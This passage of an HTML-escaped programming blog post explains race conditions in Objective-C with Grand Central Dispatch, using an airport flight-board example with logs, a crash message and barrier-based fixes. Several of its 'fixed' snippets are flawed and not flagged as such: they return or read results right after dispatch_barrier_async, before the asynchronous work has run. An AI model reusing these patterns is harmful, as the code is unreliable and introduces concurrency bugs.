    &lt;span class="p"&gt;}&lt;/span&gt;
    
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here’s the output for the above program on my machine:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;2014-09-27 14:32:12.636 a.out[9601:507] reading begin: 0
2014-09-27 14:32:12.638 a.out[9601:507] reading ends: 0
2014-09-27 14:32:12.639 a.out[9601:507] writing begin: 0
2014-09-27 14:32:12.639 a.out[9601:507] writing ends: 0
2014-09-27 14:32:12.640 a.out[9601:507] reading begin: 1
2014-09-27 14:32:12.640 a.out[9601:507] reading ends: 1
2014-09-27 14:32:12.641 a.out[9601:507] writing begin: 1
2014-09-27 14:32:12.641 a.out[9601:507] writing ends: 1
2014-09-27 14:32:12.642 a.out[9601:507] reading begin: 2
2014-09-27 14:32:12.642 a.out[9601:507] reading ends: 2
2014-09-27 14:32:12.643 a.out[9601:507] Flight found after 2 writes and 3 reads
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can observe, we’re performing sequential writes and reads until we find the required flight number in the array, and everything works out great. But, if we now try to run each write and read concurrently. To do that we create a queue for reading and writing. We perform all the reading and writing operation on a concurrent queue. We’re trying to implement the scenario where one passenger (you) is interested in reading the status board from top to bottom and check if their flight is listed. When they reach the end of the list and did not find the flight number they start again from the top. While, many airliner services are trying to update the single status board concurrently.&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;readWriteQueue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dispatch_queue_create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"com.whackylabs.concurrency.readWriteQ"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DISPATCH_QUEUE_CONCURRENT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;parallelLoop&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;srandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

    &lt;span class="n"&gt;__block&lt;/span&gt; &lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        
        &lt;span class="cm"&gt;/* perform a write op */&lt;/span&gt;
        &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readWriteQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;statusWriter&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
        
        &lt;span class="cm"&gt;/* perform a read op */&lt;/span&gt;
        &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readWriteQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;statusReaderWithFlightNumber&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SEARCH_FLIGHT&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;done&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;YES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    
    &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"Flight found after %@ writes and %@ reads"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writeCount&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you now try to execute this program, once in a while you might get the following error:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Terminating app due to uncaught exception 'NSGenericException', reason: '*** Collection &amp;lt;__NSArrayM: 0x7f8f88c0a5d0&amp;gt; was mutated while being enumerated.'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is the tricky part about debugging race conditions, most of the time your application might to be working perfectly, unless you deploy it on some other hardware or you get unlucky, you won’t get the issues. One thing you can play around with is, deliberately sleeping a thread to cause race conditions with sprinkling thread sleep code around for debugging:&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;statusWriter&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSThread&lt;/span&gt; &lt;span class="nf"&gt;sleepForTimeInterval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;writeCount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"writing begin: %@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writeCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;        
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;addFlightEntry&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"writing ends: %@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writeCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If the above code doesn’t crashes on your machine on the first go, edit the sleep interval and/or give it a few more runs.&lt;/p&gt;

&lt;p&gt;Now coming to the solution of such a race condition. The solution to such problem is in two parts. First is the write part. When multiple threads are trying to update the shared data, we need a way to lock the part where the actual update happens. It’s something like when multiple airliners are trying to update the single screen, we can figure out a situation like, only one airliner has the controls required to update the screen, and when it’s done, it releases the control to be acquired by any other airliner in queue.&lt;/p&gt;

&lt;p&gt;Second, is the read part. We need to make sure that when we’re performing a read operation some other thread isn’t mutating the shared data as &lt;code class="language-plaintext highlighter-rouge"&gt;NSEnumerator&lt;/code&gt; isn’t thread-safe either.&lt;/p&gt;

&lt;p&gt;A way to acquire such a lock with GCD is to use dispatch_barrier()&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;statusWriter&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;dispatch_barrier_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readWriteQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSThread&lt;/span&gt; &lt;span class="nf"&gt;sleepForTimeInterval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        
        &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"writing begin: %@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writeCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;addFlightEntry&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        
        &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"writing ends: %@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writeCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;writeCount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;statusReaderWithFlightNumber&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;NSNumber&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;searchFlightNum&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="n"&gt;__block&lt;/span&gt; &lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
    &lt;span class="n"&gt;dispatch_barrier_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readWriteQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        
        &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"reading begin: %@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSNumber&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;flightNum&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;airportStatusBoard&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;flightNum&lt;/span&gt; &lt;span class="nf"&gt;isEqualToNumber&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;searchFlightNum&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;YES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        
        &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"reading ends: %@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        
        &lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        
    &lt;span class="p"&gt;});&lt;/span&gt;
    
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If you try to run this code now, you’ll observe that the app doesn’t crash anymore, but the app has become significantly slower.&lt;/p&gt;

&lt;p&gt;The first performance improvement that we can make is to not return from the read code immediately. Instead, we can let the queue handle the completion:&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;statusReaderWithFlightNumber&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;NSNumber&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;searchFlightNum&lt;/span&gt; &lt;span class="nf"&gt;completionHandler&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="nv"&gt;completion&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    
    &lt;span class="n"&gt;dispatch_barrier_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readWriteQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        
        &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"reading begin: %@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        
        &lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSNumber&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;flightNum&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;airportStatusBoard&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;flightNum&lt;/span&gt; &lt;span class="nf"&gt;isEqualToNumber&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;searchFlightNum&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;YES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        
        &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"reading ends: %@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        
        &lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       
        &lt;span class="n"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;found&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;parallelLoop&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;srandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    
    &lt;span class="n"&gt;__block&lt;/span&gt; &lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        
        &lt;span class="cm"&gt;/* perform a write op */&lt;/span&gt;
        &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readWriteQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;statusWriter&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
        
        &lt;span class="cm"&gt;/* perform a read op */&lt;/span&gt;
        &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readWriteQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;statusReaderWithFlightNumber&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SEARCH_FLIGHT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;completionHandler&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;done&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}];&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    
    &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"Flight found after %@ writes and %@ reads"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writeCount&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Another thing to note is that, our code is no longer executing in parallel. As each dispatch_barrier() blocks the queue until all the pending tasks in the queue are complete. As is evident from the final log.&lt;/p&gt;

&lt;p&gt;Flight found after 154 writes and 154 reads
In fact, the processing could be even worse than just running it sequentially, as the queue has to take care of the locking and unlocking overhead.&lt;/p&gt;

&lt;p&gt;We can make the read operation as non-blocking again, as blocking the reads is not getting us any profit. One way to achieve that is to copy the latest data within a barrier and then use the copy to read the data while the other threads update the data.&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;statusReaderWithFlightNumber&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;NSNumber&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;searchFlightNum&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    
    &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"reading begin: %@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    
    &lt;span class="n"&gt;__block&lt;/span&gt; &lt;span class="n"&gt;NSArray&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;airportStatusBoardCopy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;dispatch_barrier_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readWriteQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        
        &lt;span class="n"&gt;airportStatusBoardCopy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;airportStatusBoard&lt;/span&gt; &lt;span class="nf"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        
    &lt;span class="p"&gt;});&lt;/span&gt;
    
    
    &lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSNumber&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;flightNum&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;airportStatusBoardCopy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;flightNum&lt;/span&gt; &lt;span class="nf"&gt;isEqualToNumber&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;searchFlightNum&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;YES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;airportStatusBoardCopy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;airportStatusBoardCopy&lt;/span&gt; &lt;span class="nf"&gt;release&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    
